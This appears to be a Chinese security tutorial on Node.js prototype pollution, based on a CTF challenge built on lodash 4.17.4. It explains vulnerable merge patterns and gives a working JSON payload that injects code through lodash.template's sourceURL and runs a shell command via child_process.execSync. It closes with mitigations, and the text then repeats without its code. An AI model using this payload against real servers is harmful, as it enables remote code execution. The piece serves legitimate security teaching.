Node.js原型链污染的利用
字数 1003 2025-08-15 21:34:06

Node.js原型链污染漏洞分析与利用

0x00 原型链污染基础概念

JavaScript原型与原型链

  • JavaScript中每个对象都有一个__proto__属性,指向其构造函数的原型对象
  • 当访问对象属性时,如果对象本身没有该属性,会沿着原型链向上查找
  • 原型链污染就是通过修改原型对象的属性,影响所有继承该原型的对象

原型链污染基本原理

A.__proto__.a = 2;  // 修改原型属性
B = new A.constructor(); 
console.log(B.a);   // 输出2,说明污染成功

0x01 原型链污染触发条件

关键条件

  • 能够控制对象键名
  • 能够将__proto__作为普通键名处理

常见危险操作

  1. 对象合并(merge)

    function merge(target, source) {
      for (let key in source) {
        if (key in source && key in target) {
          merge(target[key], source[key])
        } else {
          target[key] = source[key]  // 危险操作点
        }
      }
    }
    
  2. 对象克隆(clone)

    • 本质是将对象合并到空对象中

关键技巧

  • 直接使用{"__proto__": {...}}不会触发污染,因为__proto__会被识别为原型
  • 需要通过JSON解析才能使__proto__被识别为普通键名:
    let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
    

0x02 实际漏洞利用分析

环境搭建

  1. 下载Node.js并安装
  2. 下载漏洞代码:https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web
  3. 安装依赖:npm install
  4. 使用VS Code调试:
    • 创建launch.json文件
    • 设置program为server.js
    • 设置断点调试

漏洞代码分析

const lodash = require('lodash')  // 版本4.17.4存在漏洞

// 危险点1:使用lodash.template
let compiled = lodash.template(content)
let rendered = compiled({...options})

// 危险点2:使用lodash.merge
data = lodash.merge(data, req.body)

利用条件

  1. 请求方法为POST
  2. Content-Type设置为application/json
  3. 构造特殊payload污染原型链

利用步骤

  1. 发送POST请求,Content-Type为application/json
  2. 构造payload污染Object原型:
    {
      "__proto__": {
        "sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// "
      }
    }
    
  3. 触发lodash.template中的代码执行:
    // lodash.template内部实现
    var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n'
    var result = attempt(function() {
      return Function(importsKeys, sourceURL + 'return ' + source)
        .apply(undefined, importsValues);
    });
    

0x03 防御措施

  1. 升级lodash到最新版本
  2. 避免使用不安全的对象合并操作
  3. 对用户输入进行严格过滤
  4. 使用Object.freeze冻结原型对象:
    Object.freeze(Object.prototype);
    

0x04 总结

原型链污染漏洞利用的关键点:

  1. 找到能够控制对象键名的操作点(如merge、clone)
  2. 确保__proto__被识别为普通键名(使用JSON解析)
  3. 找到能够被污染影响的关键属性(如template中的sourceURL)
  4. 构造payload实现代码执行

参考文章:

  • https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
Node.js原型链污染漏洞分析与利用 0x00 原型链污染基础概念 JavaScript原型与原型链 JavaScript中每个对象都有一个 __proto__ 属性,指向其构造函数的原型对象 当访问对象属性时,如果对象本身没有该属性,会沿着原型链向上查找 原型链污染就是通过修改原型对象的属性,影响所有继承该原型的对象 原型链污染基本原理 0x01 原型链污染触发条件 关键条件 能够控制对象键名 能够将 __proto__ 作为普通键名处理 常见危险操作 对象合并(merge) 对象克隆(clone) 本质是将对象合并到空对象中 关键技巧 直接使用 {"__proto__": {...}} 不会触发污染,因为 __proto__ 会被识别为原型 需要通过JSON解析才能使 __proto__ 被识别为普通键名: 0x02 实际漏洞利用分析 环境搭建 下载Node.js并安装 下载漏洞代码:https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web 安装依赖: npm install 使用VS Code调试: 创建launch.json文件 设置program为server.js 设置断点调试 漏洞代码分析 利用条件 请求方法为POST Content-Type设置为application/json 构造特殊payload污染原型链 利用步骤 发送POST请求,Content-Type为application/json 构造payload污染Object原型: 触发lodash.template中的代码执行: 0x03 防御措施 升级lodash到最新版本 避免使用不安全的对象合并操作 对用户输入进行严格过滤 使用Object.freeze冻结原型对象: 0x04 总结 原型链污染漏洞利用的关键点: 找到能够控制对象键名的操作点(如merge、clone) 确保 __proto__ 被识别为普通键名(使用JSON解析) 找到能够被污染影响的关键属性(如template中的sourceURL) 构造payload实现代码执行 参考文章: https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html